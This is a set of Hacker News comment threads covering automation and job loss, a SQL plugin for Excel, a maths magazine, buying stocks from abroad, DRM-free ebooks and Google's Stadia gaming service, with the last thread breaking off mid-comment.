[1] [http://www.forbes.com/sites/tomiogeron/2013/01/23/airbnb-
and...](http://www.forbes.com/sites/tomiogeron/2013/01/23/airbnb-and-the-
unstoppable-rise-of-the-share-economy/)
~~~
kyllo
I read that article too. The possibilites are interesting but i dont think
sharing your stuff for cash will be a sustainable career option for most,
especially if the cost of that stuff keeps going down.
Another possibility is that inequality and exponential growth in CEO
compensation are due to the fact that most companies are not free marketplaces
internally. They are run like little communist dictatorships where
compensation is allocated by social/political rank, not by value created. If
companies had to pay people according to the actual marginal value of their
work, perhaps the inequality wouldn't get quite so severe. But human workers
would still have to gradually retrain themselves to perform non-automatable
tasks en masse, and the transition period is still going to be painful. That
part seems unavoidable.
------
confluence
You know what I find funny? Those who argue against income redistribution -
aka socialism - are probably going to be some of the first people to become
permanently unemployed.
If you understand what's about to happen - you'll quickly realise that
everyone will be out of a job and unless we keep people consuming - things
start to get scary - like revolution scary.
We're all socialists now.
~~~
jbooth
Yeah, I don't have a solution to the situation, but when you look at the
topline profits (going up), and employment (going down) at almost every
corporation.. the rhetoric about "job creators" is a bit much.
------
expralitemonk
In 1890, 43% of the US population were farmers. Because of technology (fossil
fuels, internal combustion engines), most of those jobs are gone for good.
We're going through a massive change and some people's livelihoods will go
away permanently. They're not entitled to make a living at an obsolete job,
but I think we owe it to them to provide a comprehensive safety net so they
can survive and retrain.
------
RyanZAG
This has been a trend over all of human history. Going to keep it brief and
technically incorrect to paint a picture...
Initially, everyone was required to either hunt or gather food (probably).
After a bit, humanity settled down into farming, and fewer people were
required to keep everybody fed. This allowed for more time for childbirth.
Better understanding of agriculture led to the creation of larger towns with
specialized jobs such as blacksmiths and stables which led to farm animals
helping to improve yields even further. To create the tools, some people had
to go into mining jobs.
The pattern here is that advancement allows fewer people in each economic area
to provide the same benefits, freeing up labor for new economic areas.
So clearly, the modern move to automate jobs isn't _necessarily_ anything new.
People are now free to move into creating accounting software instead of
manually filling out journals. The problem occurs when the people freed up
from advances do not have any new work to move into.
The result may simply be de-urbanization - people moving back into the
countryside to grow their own food. Most people can afford to buy a small plot
of land in the middle of nowhere (small piece of land in the middle of Africa
is practically free). Or the result may be socialism. Or the result may be new
economic sectors being revealed by innovation. Fortune telling won't get us
very far.
~~~
georgemcbay
As the original article alludes to the big difference now is that the rate of
advance is increasing. When whole industries are being upended within a few
years and this turnover is getting faster all the time, it is difficult to
point to "retraining" (the historical fix for this) as a solution. Most people
just aren't that intellectually flexible. Those that are will prosper, the
vast majority will, I think, be screwed.
I'd love to see some sign that the US Government is starting to take this
issue seriously and planning for it. While we're still years away from this
becoming a _critical_ social problem, I do believe that the brunt of the
impact from this trend is inevitable and not too far off (certainly within my
lifetime and I'm pretty old now).
I'm personally very much in favor of a hybrid socialist system where everyone
gets a guaranteed minimum income but people who are able and willing to can
still work to earn more. I think this helps in a number of ways, the first
being avoiding societal collapse and possible revolution due to the massive
amount of unemployed there will be relative to the current population and
secondarily, it gives even driven people a buffer to live on while chasing
their dreams. I think the end result would actually be more positive for
humanity than the current system, though for obvious reasons it will not be
supported by the capital gatekeepers who currently wield the money (and thus
the power).
I find the idea that any degree of socialism will result in no progress is
pretty insulting towards humanity. There will always be people who are driven
(whether it be by ego or curiosity or whatever) to do great things.
~~~
afterburner
Krugman has touched on this a bit in recent posts, although he's still in
"gathering evidence" mode on the issue.
It's a very interesting and serious problem, and I very much agree that a
"hybrid socialist system" is not the disaster some say it would be. We're not
talking about centralized bureaucratic communism, but rather what is already
in place in parts in many Western countries.
~~~
eli_gottlieb
Besides, some studies by professional economists provided evidence that a
"regulated capitalist" economy with imperfect markets is really not
substantially more efficient (in the strictly economic sense of the word) than
a "liberalized socialist" economy. Market optimality apparently turned out to
be an all-or-nothing property of the mathematical models that gave rise to
significantly different (but still amenable to scientific examination when we
alter the models) behavior in the real world.
<http://jacobinmag.com/2012/12/the-red-and-the-black/>
------
rthomas6
Speaking from an economics viewpoint, new technology kills jobs _temporarily_.
Eliminating/automating jobs is obviously a good thing over the long term: how
often do we lament the cotton gin because of how much cotton harvesting labor
it eliminated? Over the short term, it caused job loss for many cotton
harvesters, and a concentration of wealth for cotton gin owners. But over the
long term, it caused the cotton industry to boom, and created a higher
standard of living for everyone. It just took time for the market to reach a
new, higher equilibrium. The same thing is happening today with technology,
albeit at a much faster pace.
So the real issue is not permanent job loss, but rather how do we take care of
people as industry reinvents itself? The pace of this reinvention is
accelerating, and has been accelerating for hundreds of years. In the near
future, 20 years could result in a completely new job skills need. In fact,
compare 1993 to 2013. Entire industries have sprung up while others died since
then. Yet we do not lament the advent of the omnipresent internet because of
the lost jobs in the newspaper, movie, music, and publishing industries. At
least, not most of us. The same thing is simply happening today. Jobs will
continue to exist. Just not right away. The real problem is only the short
term: figuring out what to do when people get optimized out of some obsolete
industry. There are many answers, we just have to think about it.
Socialism is an answer proposed by many people. I think I agree with them to
some degree. Some kind of economic floor below which no person can descend. I
don't know how this could be created, but I would argue that the "economic
floor" has been steadily rising for hundreds of years. In the US, even poverty
currently results in a significantly higher standard of living compared to the
median income life in 1850.
------
danso
I think tech's overall optimization/automation effect is good/great for
humans, but only if society adapts. In Star Trek's utopia, it's said that the
limitless bounty created by tech has basically removed the need for currency
and competing economies...but will that happen in reality? If it becomes
technologically possible to cheaply produce robots that replaces nearly
everyones' jobs...will society be able to say, "Awesome, let's all relax
now!"? I can't imagine that we'll ever accept that, even if natural resources
become nearly limitless.
~~~
angdis
The ugly reality is that the effect of automation seems to be further
stratifying the haves from the have-nots. By definition, automation makes
things cheaper and more profitable by taking away jobs. If there aren't OTHER
JOBS also created, we have a situation where the owners are systematically
getting richer and the workers are systematically getting poorer.
~~~
joonix
Isn't that the end result of capitalism? To optimize returns on capital. It
says nothing about labor or workers.
~~~
afterburner
I thought capitalism was centered around labour providing value and being
rewarded accordingly? I'm not sure myself. Although the other inputs to
production are land and capital goods, the latter of which could I suppose be
interpreted as "the robots that will take care of everything".
------
polskibus
Technology has always been killing jobs, however in the history of man there
have always been room for long-term job growth. Otherwise we would not be
where we are now. The article is fairly shallow in blaming only one thing for
the recession and joblessness. Suddenly the massive debt is no longer a
problem, the fact that there are lean manufacturing methods that can compete
with mass production is overlooked, etc. The situation really is more complex
than one or several journalists can hope to investigate by crunching several
time series.
~~~
akiselev
Classically, the new technology created a new class of work to operate/use it
or decreased the cost of something so much that it was affordable for the
middle class and required a lot more workers to handle the new demand. Now the
middle class which benefited from new, cheaper, better products is shrinking
with substantial (but by no means comprehensive) evidence that job growth as
we've known it in the last hundred years isn't coming back.
Even in software development, there may only be limited growth due to its open
and exponential nature. As more developers work on software, the more tools
will be developed to make their work more productive and efficient. It's a
self reinforcing feedback loop that might have an equilibrium that won't be
sufficient to account for all of the jobs lost as a result of software.
American manufacturing, for example, is still one of the biggest sub-economies
in the world and is insanely productive compared to Chinese manufacturers per
person, but it doesn't create anywhere near as many jobs as we have lost
overseas. At the same time, manufacturers in industries like medical, aero,
and defense are complaining that they can't get the skilled workers they need
to grow and as a result are forced to invest way more into automation.
It's very likely that I just can't look at this period of human development
without heavy bias but it seems to me that the ridiculously easy flow of
information allowed by the internet has destabilized the equilibrium we've had
with creative destruction and job growth.
~~~
eli_gottlieb
_Classically, the new technology created a new class of work to operate/use it
or decreased the cost of something so much that it was affordable for the
middle class and required a lot more workers to handle the new demand._
So let's ask, then: what does the middle class lack today that an increase in
production efficiency could make widely available?
~~~
akiselev
I can't really answer this question.
The two major areas I can think of are health care and capital equipment.
Health care because surgeries and even basic procedures can be really
expensive, especially for the uninsured. Already we can see hair transplant
robots [1] that take the cosmetic doctors almost entirely out of the picture
and I'm sure surgery robots are being developed. I don't see how this kind of
industry can create more jobs than it eliminates. However, better education
and awareness of chronic illnesses caused by lifestyle I think would help free
up hundreds of billions of dollars that would then stay with the consumers (or
non-healthcare corporations which might then just hold on to it).
If you decrease the cost of capital equipment by automating their production
(aka, by making automation easier and cheaper), it will allow many more people
to buy them and drive their price down further because of increasing volume.
This could then lead to a diaspora of small time manufacturers and service
providers who replace large entities, become more local, and drive down the
prices of everything through competition. The consequences here would be wild
and unpredictable. Maybe the sum generated economic activity would be much
greater than the whole (as it often is with manufacturing industries), but we
can't say that for sure because of the limited value add that these
manufacturers can provide over their equipment (as it currently is with
manufacturing...). The other consequence would be the devaluation of the
equipment causing a devaluation of the service contracts, which would probably
lead to more automation through modularity, machine learning, and data driven
remote diagnostics of equipment.
But honestly all that above is wild speculation. The future is damn near
impossible to predict and I think the presence of economic incentives going in
all different directions for all parties involved just makes it a lot more
uncertain.
[1] <http://restorationrobotics.com/>
------
dgunn
This makes me wonder what a world without jobs will look like. Will a good
quality life, food, shelter, money, etc just be human rights?
~~~
mjolk
Don't confuse a reduced number of jobs that can be replaced by machines or
algorithms with total capacity or demand for human labor.
~~~
dgunn
I'm not sure anyone would confuse those things. I just think eventually,
employable people will be greater than the number of jobs to perform. In a
world where you've always received money, food, etc as a result of your
contributions, how do you get these things without a means of contributing?
~~~
groby_b
Well, we've been there before - more people than needed to do all the work
available. As a result, we instituted the idea of servants.
So get used to a future where you either have a personal entourage, or will be
busy doing errands for people who actually have money. And chances are much
higher for the latter.
------
Permit
They cited Andrew McAfee in the article, but I believe he's come to a
different conclusion than the authors of this article did.
He gave an excellent talk called "Are droids taking out jobs?"
[http://www.ted.com/talks/andrew_mcafee_are_droids_taking_our...](http://www.ted.com/talks/andrew_mcafee_are_droids_taking_our_jobs.html)
------
DirtyCalvinist
This phenomenon is called pauperization. Many countries in Europe experienced
it acutely during the early 19th century. People were allowed to starve back
then until production shifted to take advantage of the surplus labor. And
though people in developed countries are unlikely to starve this time around,
the real challenge for us is figuring out how to allow the change to continue
(because we will all be better off for it) without destroying people's dignity
and/or creating an economically futile and dependent underclass.
------
colmvp
Tech kills but also creates. It's up to the people to decide whether they want
to adapt to that environment or lament the old.
~~~
eli_gottlieb
Technology _can_ create new jobs, but only if the economic demand is available
to support the new professions, products, and fields.
This is where capitalism breaks down: its productive engine is one of the most
powerful we know of, but its allocation system continues to write off large
and _growing_ portions of the population as _undeserving_. And the more people
are undeserving, the less demand is available to support businesses, so the
vast productive power of technology gets "eaten" as profits and rents for
capital-owners rather than transformed into innovation and growth.
These are important lessons that the Western world was _supposed_ to have
learned through the Great Depression, World War II, and the post-war period of
_immense peace and prosperity unprecedented in human history_. Eventually it's
_either_ support a working class (including both the "lower class" and the
"middle class") secure and well-off enough to fuel the growth of industry,
prop up your economy using government spending, or watch your economy
collapse.
~~~
rthomas6
Surely you don't think that 1950 was better in terms of quality of life
compared to 2013. Right _now_ is the most prosperous time in human history.
~~~
eli_gottlieb
The questions are: prosperous _for whom_ , and in what sense of the word?
1950 was "better" in that it was both more egalitarian (for whom) and also
more secure (which, I should note, made it inherently more egalitarian).
Things like the GI Bill and post-war reconstruction made Major Life Purchases
like housing, infrastructure, and education very affordable for large masses
of the population. Production booms, government income-support programs, and
unionization made incomes more secure (even when employment was culturally and
personally repressive and conformist), allowing families to reinvest in
building private savings. Employer-sponsored pension plans made retirement a
real possibility and Social Security a fall-back. One spouse was expected to
work, and the other spouse's labor was held in reserve for emergencies.
Contrast with today. Yes, in an absolute sense the economy is more productive,
but it's also less egalitarian (income inequality is at historic highs in the
United States and most other developed countries for which old measurements
exist) and less secure (debt and leverage are not only rampant but the _most
common and expected_ ways of gaining access to housing and education, and few
households can function without two incomes). The result is that for the
median citizen, things haven't gotten better (few to no real-wage rises) since
the 1970s, and the _mean_ citizen ( _including_ people with very high nominal
incomes) is vastly less secured against cash-flow disruptions. And since the
housing, health-care, education and energy sectors are collecting massive
economic rents, even the proliferation of cheap consumer goods hasn't actually
done as much for the median and mean citizens as it should have: someone who
has bare-minimum health insurance, and has to pay health premiums, taxes,
ever-rising housing rent, and student-debt service on a salary in the range of
$20k-$30k per year (assuming you live in the USA) simply cannot afford to
consume that many Playstation 3 games.
~~~
rthomas6
I honestly don't care about how egalitarian a society is. I care about a
society's aggregate quality of life. If one person has a quality of life
100,000 times greater than everyone else, yet everyone else has a quality of
life 100 times greater than today, I would choose that society. You can argue
that the overall quality of life for our society now is lower than in 1950,
but I strongly disagree with you. It doesn't matter if real wages have
increased since 1970 if material goods have gotten cheaper. I would still
argue that the overall quality of life has increased since 1970. And you're
painting an incomplete picture about 1950:
>1950 was "better" in that it was both more egalitarian (for whom) and also
more secure (which, I should note, made it inherently more egalitarian).
If you were white.
>Things like the GI Bill and post-war reconstruction made Major Life Purchases
like housing, infrastructure, and education very affordable for large masses
of the population.
If you were white.
>Employer-sponsored pension plans made retirement a real possibility and
Social Security a fall-back.
65 was around the median age of death in 1950. "Retirement" was a hell of a
lot shorter if you work almost until your death age. I can't call that better
than now.
>One spouse was expected to work, and the other spouse's labor was held in
reserve for emergencies.
If you were white. And both spouses working was an emergency situation because
maintaining a household took a lot more effort in 1950 than it does today.
I just can't imagine things being _better_ for people in 1950 than now.
>someone who has bare-minimum health insurance, and has to pay health
premiums, taxes, ever-rising housing rent, and student-debt service on a
salary in the range of $20k-$30k per year (assuming you live in the USA)
simply cannot afford to consume that many Playstation 3 games.
I don't think I could afford to consume that many Playstation 3 games in 1950,
either. In fact, I don't think anyone could afford to consume any. In fact,
there would be a good chance that I wouldn't even own a television in 1950.
~~~
eli_gottlieb
I do certainly take your point on the "if you were white" front, but I want to
use that to lead into something Tony Judt wrote in "Ill Fares the Land": the
post-war period was prosperous enough that political movements, in many
instances, shifted from striving to _overthrow and replace the system_ towards
striving to _be included in the existing prosperity_. MLK Jr was indeed a
black-rights activist and a socialist, but he didn't see his form of
democratic socialism as something that required a violent revolution of
genocidal proportions the way that, say, Lenin had, or even the way that
German anti-fascist partisans had.
>I don't think I could afford to consume that many Playstation 3 games in
1950, either. In fact, I don't think anyone could afford to consume any.
Thank you for making part of my point for me. If someone couldn't consume PS3
games in 1953-1963 because they didn't exist, and someone can't consume PS3
games now because they're unaffordable on today's low salaries (well, low
salaries for most people _outside Hacker News_ ), _then what good is the
existence of PS3 games to this person?_
Where's the worth in increased production and variety of consumer goods only
an elite minority can afford to enjoy?
~~~
rthomas6
I agree that increased production and variety of consumer goods is mostly
useless if only an elite minority gains benefits from them. But I still
disagree that only an elite minority has seen a benefit, i.e. an increase in
the quality of life over the past 40 years, and certainly over the past 60
years. And yes, income and wealth inequality may have increased since 1950,
and I agree with you that this is objectively bad. I also agree that our
country has a serious and growing problem with personal debt.
But these things do not mean that the average and median standard of living
has not risen for everyone in the United States since 1950, which I believe it
has. I don't even see how this can be argued. Almost every quality of life
metric I can think of has improved: education, life expectancy, and infant
mortality have all improved, in addition to harder to measure increases in
everyday comfort due to technology. In 2013, even most of the poor have a
mobile phone. Almost anyone can walk into a library and talk to you or I on
Hacker News. There are some metrics that have not improved, such as crime,
incarceration rates, or income equality, and these are serious issues. But
_overall_ , I believe that the standard of living for the average US citizen
has risen.
Anecdotal examples don't really prove much, but I'd like to give one anyway.
My sister hasn't made the best decisions, and dropped out of college to move
in with her boyfriend. They lived with his mother for a while, and lived on
food stamps and in poverty. During this time, they had access to an Xbox 360,
a car, cell phones, and a television. Their living situation was terrible by
normal standards, and yet their standard of living would have been seen as
good or even great by 1950 standards.
~~~
eli_gottlieb
_I don't even see how this can be argued._
Simple: median real wages HAVE NOT RISEN AT ALL since 1970, while the cost of
living (particularly prices for housing, health-care, education and energy)
has... a lot.
So you can say that consumer technology has increased the quality of life in a
non-tangible, non-quantified way. But in all the _quantified_ ways, things are
getting worse: people are losing the incomes that enabled them to access
consumer goods (like consumer technologies) in the first place.
There are also many complaints about "kids these days", that a current-day
education is "inflated" and less worthwhile or indicative of anything than a
past one.
The poor don't have mobile phones because they can afford luxuries, they have
them because mobile phones have become very, very cheap and, in some cases,
government-subsidized.
As to life-expectancy, it's actually started to tick slightly _downward_ for
young people today since the Recession started. Infant mortality, too.
So, indicators that have gotten better over the past four decades: educational
levels, life expectancy, infant mortality, crime rates (they're down quite a
bit). Indicators that got worse in the past four decades: housing, health-
care, education and energy costs, real wages, working hours (they increased
noticeably). Indicators that started getting worse since 5 years ago: all of
the above.
~~~
rthomas6
In that case, maybe I'm wrong. If it is really true that the base cost of
living has risen compared to real wages, then I'm wrong. I wonder if someone
were able to only buy amenities and luxuries to create a standard of living
comparable to the median standard of living in 1970, would it cost more or
less in real wages? Or the same? My premise was that it would cost less even
though real wages have not risen, because one would not have to buy as much to
live like 1970 compared to how the average US citizen lives today. Similar to
how mobile phones, computers, and the like are cheaper today. But if it's true
that 1970's-comparable housing, health care, education, etc. costs have all
risen, then you're right... the standard of living in some ways could be
considered to be lower today than in 1970. Which is really effed up.
~~~
eli_gottlieb
I'd advise giving this a watch. The data has surprised everyone, including the
people researching it: <http://www.youtube.com/watch?v=akVL7QY0S8A>
------
akiselev
"For more than three decades, technology has reduced the number of jobs in
manufacturing. Robots and other machines controlled by computer programs work
faster and make fewer mistakes than humans"
Worst of all, we haven't even seen the robotics revolution yet. In the past,
automated assembly lines, manufacturing plants, etc. were the realm of
extremely large companies with volumes in the hundreds of millions and
billions of dollars. Now, with embedded development becoming more and more
accessible and interfaces becoming an important part of software, that
automation will become cheaper and cheaper. Pretty soon we'll be able to use
off the shelf hardware with Python and OpenCV to program complicated assembly
lines and manufacturing pipelines (which we can to some extent already).
------
russell
The western democracies are in a position to be in a post scarcity world if we
choose to be. There is no reason that everyone cannot have the basics of food,
shelter, health, and security. We also do not need perpetual 20% unemployment.
One important dividend could be increased leisure time. We went from 60 hour
workweeks to 40 hours, so why not 30 hour workweeks or 6 weeks of vacation per
year. We are mot yet at the point where we can automate tasks that require
mobility and some level of skill, such as a UPS delivery person.
I think we are also at the point where we as individuals dont need a barrage
of new physical things every year. We can still make significant progress with
new virtual products and more efficient and durable physical goods.
------
dkasper
"I have never seen a period where computers demonstrated as many skills and
abilities as they have over the past seven years." - Andrew McAfee principal
research scientist at the Center for Digital Business of MIT.
Seriously?
~~~
danilocampos
What's wrong with that? The last seven years contain the rise of modern
mobile. Lots of new stuff has come out of that.
------
johngalt
Technology _creates_ middle-class jobs and wealth by enabling the less skilled
to perform tasks they were previously unsuited for. Where did all those
factory jobs come from in the first place? The entire idea of assembly line
manufacturing was to replace skilled artisans with unskilled repetition.
Technology today is no different. The only issue most 'developed countries'
have is that it's lifting millions out of poverty worldwide rather than paying
union members $70/hr to tighten bolts.
------
shakeel_mohamed
Alright guys, let's save the economy! This was the perfect amount of
motivation for me.
------
dimitar
Its mainly recession, in good times productivity growth means more, not less
jobs.
------
notmarxist
The idea that labor is something which can be traded for income is a myth.
| {
"pile_set_name": "HackerNews"
} |
The Unreasonable Fundamental Incertitudes Behind Bitcoin Mining - markmassie
http://arxiv.org/abs/1310.7935
======
apw
Here is the reference the authors cite: [4]
[4] Bitter to Better — How to Make Bitcoin a Better Currency
[http://crypto.stanford.edu/~xb/fc12/bitcoin.pdf](http://crypto.stanford.edu/~xb/fc12/bitcoin.pdf)
------
maxander
Could someone explain the difference between "incertitude" and plain-old
"uncertainty"?
| {
"pile_set_name": "HackerNews"
} |
Show HN: I created an Excel plugin for using SQL inside Excel - anakic
http://thingiequery.com/
======
anakic
Hi all!
So as a side project I developed a plugin that lets you do SQL inside Excel.
It's called ThingieQuery (www.thingiequery.com).
When you install ThingieQuery, you get a SQL IDE window inside Excel. It uses
an embedded SQLite engine to process the queries and uses the data from excel
tables. Basically you get full SQL support inside Excel.
In case you want to query your excel tables together with the tables on an
external db server you can do that as well. In this case the data from Excel
tables will be copied in the form of temp tables to the external server. If
you wish, you can write the results of your queries back to Excel.
It has syntax highlighting, code completion (currently rudimentary tho), and
can do some neat tricks.
I've also made two tutorials so far:
[https://www.youtube.com/watch?v=Ld-
mbyAGsow](https://www.youtube.com/watch?v=Ld-mbyAGsow)
[https://www.youtube.com/watch?v=1vjlEd2-bJQ](https://www.youtube.com/watch?v=1vjlEd2-bJQ)
I could be happier with the tutorials, but they do illustrate the point of the
plugin.
I created the licensing infrastructure and the website, and am trying to
launch it as a product so I'd really appreciate feedback.
If you do a lot of data manipulation in Excel and you're good with SQL do give
it a try.
Thanks! Antonio
------
baaron
I just downloaded it, and I have to say... this plugin is really cool and
extremely powerful.
Two things:
1) It needs to be more clear that your data needs to be in a "table" for the
plugin to work. Unless I'm mistaken, the only place that is stated (except for
the tutorials) is embedded within the screenshot on the homepage. Add a help
or FAQ page, and highlight this point!
2) I'm not a fan of the personal license having restricted use in a domain
environment. I have a domain controller in my house, and many of my IT-
professional friends do too. My house is not a commercial space. I like the
software, and I would definitely pay $28 for a license, but I think $50/year
is too steep to be able to use this at home.
~~~
anakic
Hi baaron!
I hear you, on both points. Point #1 - that's true, I never mention that the
data needs to be in a table on the site, and it's a really good point which I
will address ASAP.
Point #2 - I didn't think many people would have domains at home, so I planned
on dealing with this issue on a case by case basis. My plan was mostly to
concentrate on commercial users and have a relatively cheap license for home
use, the domain was just a handy way to try to distinguish between the two.
I've already had some complaints on this, so I might change this policy (any
suggestion on an alternative?).
In any case, this shouldn't be a problem, please contact me
(antonio@thingiequery.com, or via the contact form) before buying a private
licence, and we'll sort it out:)
And thanks for the kind words, I agree about it being a cool and powerful
tool:) There will be more cool features coming up, but the core is in pretty
good shape already I think, I'm happy with it, and it's a really satisfying
project to work on.
Antonio
------
jpau
Hi Anakic, this looks great!
I've been having to use SQL in Excel a lot lately, through ADO (VBA). I've
been using it to create prepared operations; users click a button and, for
example, Excel will generate a list of clients that are in two different
Workbooks.
Am I right in saying that the advantage that ThingieQuery has over what's
already in Excel is that a REPL-esque nature allows you to run these commands
on the fly? Can you maybe expand a bit more on the comparison?
~~~
anakic
Yeah, that's a big one. Being able to use it in a REPL-esque manner without
much ceremony is one nice thing. It also has other features you would expect
from a SQL IDE:
\- syntax highlighting
\- code completion
\- partial query execution (select part of the query to execute only that
part)
It focuses on tables instead of sheets, so you don't have to clean up content
around your data, since your data is clearly marked inside tables.
You can combine your Excel data with data from an external database, and
actually use the external database to process the data. If needed you can
easily insert the excel data into permanent tables in the external database.
And you can write query results anywhere in Excel.
It integrates really well with Excel, you can update existing tables from a
result and it will match the table and the results by headers, and only update
what it matches. It won't overwrite any calculated columns or formatting. It
will push content up or down to make room for new data instead of overwriting
it.
Also the SQLite engine that procesess the data is augmented with many .NET
functions as well ("format" function is basically String.Format, "replacex" is
Regex.Replace, and there are other added functions), and in the future I will
be opening it up for the user to add their own .NET functions (imagine using
functions for ldap querying, statistics, math, other specific fucntions from
your SQL commands).
There is a lot of fun stuff for really advanced users, and I'll be making
tutorials and opening it up for customization as much as I can.
Well, I've already written a wall of text so I'll stop here:)
Antonio
------
anakic
Oh wow, comments and upvotes, yay!:) The thread got no attention for two days,
so I gave up and forgot about it, just saw the comments and the upvotes last
night, nice.
------
nbevans
Out of interest, and I've done no research into this yet, how is your SQL
editor/code complete working? Does it use SQLite's engine itself to get the
AST or some such?
~~~
anakic
The SQL editor is a really cool open source library called AvalonEdit. It has
it's own lexer (for syntax highlighting) and you just describe the terminals
via regex and tell it what formatting to apply to each terminal.
As for code completion, it's quite rudimentary currently, it doesn't know
anything about SQL, it just offers all schemas/tables/columns and filters them
as you type. The SQLite dialect of SQL is really well documented and I'm
currently working on implementing an LL(*) parser for it's grammar, so I can
improve autocomplete and the editor with support for:
\- keywords
\- aliases (while handing alias scopes)
\- sub-query columns
\- only applicable columns in the select list, only tables in the from list,
etc...
\- error squigglies
Also, the parser would make it easy to implement auto-formatting.
It's quite a fun feature to implement, but alas it's currently low priority so
I don't expect to have it working in the next month or two.
Antonio
------
fiatjaf
I've watched the videos and this is the most incredible thing I've ever seen
(ok, probably not, but it is amazing). It is really strange it didn't get more
upvotes.
~~~
anakic
Thank you for the kind words, and I agree that it's pretty amazing:) Perhaps I
should have posted text instead of a link, or a link to the tutorials (they're
not on the website yet). It didn't get any attention for a couple of days, and
I had already forgotten about it, just saw the comments last night.
| {
"pile_set_name": "HackerNews"
} |
Chalkdust – A magazine for the mathematically curious - ColinWright
http://chalkdustmagazine.com/
======
paulplug
Love Chalkdusk! My 3 favorite math, physics and cs websites that I discovered
this year are:
\- [https://www.quantamagazine.org](https://www.quantamagazine.org)
\- [http://chalkdustmagazine.com](http://chalkdustmagazine.com)
\- [https://fermatslibrary.com](https://fermatslibrary.com)
These 3 provide a stream of amazing, very well curated content, with no
nonsense or spam. Have learned a ton from these this year.
------
peterlk
Is there a mailing list? It's not often that I want to receive emails from
websites, or even news outlets that I read, but I would love to see this in my
inbox
~~~
ColinWright
There is an RSS feed:
[http://chalkdustmagazine.com/feed/](http://chalkdustmagazine.com/feed/)
Pretty sure there's a mailing list - certainly I get email from them.
Here are their contact details:
[http://chalkdustmagazine.com/contact/](http://chalkdustmagazine.com/contact/)
~~~
amatern
That's great thanks, added to Feedly!
------
rosstex
Very cool!
| {
"pile_set_name": "HackerNews"
} |
Cross Platform Mobile App Development Online Course - abhshksingh
http://hub.coursebirdie.com/p/cross-platform-mobile-app-development/?product_id=196534&coupon_code=PRODUCTHUNT&ref=producthunt
======
sashaedi
Good course!
| {
"pile_set_name": "HackerNews"
} |
A marketplace of DRM-free ebooks - ableal
http://fifobooks.com
======
ableal
As joubert had hinted (in <http://news.ycombinator.com/item?id=1298038>), the
Fifobooks.com catalog is now browsable on the web.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: How does one buy stocks outside the US? - CSDude
I am in the tech market in a non-US country with already stock options, but our system allows only cashing out our vested stocks via wire transfer.<p>If I wanted to buy stocks, how should I do it? Is it brokers job? How would a foreign person trust a broker via internet? It seems so easy to be fooled and I would like to get an idea about what non-US people here does.
======
i_don_t_know
Your local bank might offer a brokerage account. Sometimes they are called
depot accounts. Typically, you use it to buy / sell stocks and funds that are
traded on stock exchanges in your country, that may or may not include
international stocks and funds.
| {
"pile_set_name": "HackerNews"
} |
Google's ambitious push into gaming is floundering - Impossible
https://www.businessinsider.com/why-are-so-few-games-on-google-stadia-2020-2
======
polytely
It's really interesting if you compare it to Epic's entry into the game
selling business. What they did was:
1\. Appeal to developers by making exclusivity deals with them (e.g: we give
you a bag of money upfront if you only sell your game via our store for a
year) which is really beneficial for developers as the game business is quite
risky. The developer gets guaranteed cash and Epic gets everyone who would buy
that game on their platform (minus the people who are outraged by the
exclusivity deal)
2\. Appeal to the customers by giving away free games every week. Epic pays
developers for you, so you get a free game while the developer also gets paid.
Epic wants you to have a library on their platform so you keep coming back,
and because you need to visit the store to claim the free games they literally
train their customers to use the store, from there it's a small step to
convert them to paying customers with good deals.
It's absolutely baffling to me Google didn't do anything like this, they have
literally more money then they could spend, yet they didn't do anything to get
people to actually use their service. Compare it to the Gmail or Chrome launch
suddenly there was this 'free' product you could jump onto, it was
technologically superior and exciting and it came out of nowhere. Imagine if
they did _that_ with Stadia, just suddenly release it without fanfare, all
your favorite games are on there and you can play X hours a week for free or
something like that.
~~~
SmirkingRevenge
Epic's entry into the game storefront business has been a drama filled shit-
show. It has not been well received by very vocal swaths of the gaming
community. In fact, their strategy of buying out developers for exclusivity
rights is one of the reasons they've drawn so much ire.
See the controversy where Borderlands games were getting review bombed on
Steam, because Epic secured exclusivity rights for Borderlands 3.
[https://kotaku.com/borderlands-is-getting-review-bombed-
on-s...](https://kotaku.com/borderlands-is-getting-review-bombed-on-steam-
over-epic-1833818454)
In the gaming world, you're basically damned if you do, damned if you don't.
If Google had aggressively gone for exclusives, they'd be getting the same
backlash that Epic has gotten/is getting. But since they didn't they might be
getting an equal but opposite sort of backlash now.
~~~
prostheticvamp
The epic approach gets a lot of hate from a vocal minority. Everyone else has
had multiple storefronts for a while, and having -one- more is borderline
meaningless. As long as they don’t jack up the price, how many people give a
shit which executable they have to click on to launch a game?
~~~
imtringued
The Epic Store isn't supported on Linux. When they turn existing games on
Steam into Epic store exclusives I can't play the games I have purchased.
~~~
prostheticvamp
> vocal minority
> Linux gamer
I fail to see the contradiction. Per Steam’s October 2019 user survey, all
Linux distros together total 0.43% of their users. I am using the notably pro-
Linux Steam as a benchmark for how many gamers are affected by this.
------
Animats
_" This concern — that Google might just give up on Stadia at some point and
kill the service, as it has done with so many other services over the years —
was repeatedly brought up, unprompted, by every person we spoke with for this
piece."_
That's a terrible reputation for any company to have.
In addition to Stadia, it seems to be killing off Improbable's Spatial OS,
which is a back-end system for very large world MMOs. Originally, that had to
run on Google Cloud. Three of the first games shut down, partly because the
costs for that service are high. Nobody big is using it.
~~~
bartread
When Microsoft launched Xbox they suffered pretty terrible losses for a number
of years but they always knew that was going to happen[1], and they were
willing to accept it because they were playing the long game.
This worked out not only because Microsoft had the money but, critically,
because they had the will to make Xbox a success. They resolved to slog
through the years of losses, failures (anyone remember the Japan launch?), and
missteps in order to build a successful business.
Whilst Google have the money, more than enough money, to do the same, I don't
think they have the will.
From my own perspective, as a gaming enthusiast, Stadia simply isn't solving
any problem that I have, and I don't believe it's going to be around long
enough that I want to invest in it.
_[1] I 'm sure they would have preferred if it wasn't._
~~~
bakuninsbart
I have an incredibly good internet connection since I'm working from home, but
because I only play like 2-4 hours a week I can't really justify investing in
a very expensive gaming computer. I need a laptop for work, and investing in
an extra platform just for those 4 hours? Stadia might be a very good
compromise for me, and I think there are quite a few others like me out there,
especially in the youngest generation who mostly use mobile in the first
place.
~~~
jfkebwjsbx
"A very expensive gaming computer"
You already have a laptop/PC. A lot of gaming can be done with iGPUs so the
cost for you would be zero.
If you really want to play big titles, then you are looking at a delta of 300$
(the price of a good GPU) for 5 years, which amounts to 5$ a month.
I don’t see why anybody who has already a computer would pay _more_ money to
vendor lock-in themselves into an online-only service, one-store-only, no-
mods-allowed, Internet-quality-dependent service.
I can see the appeal for people that wasn’t into computers before that,
though. But still, if I were in that case, I would choose a non-locked-in
platform at all costs.
~~~
Shakahs
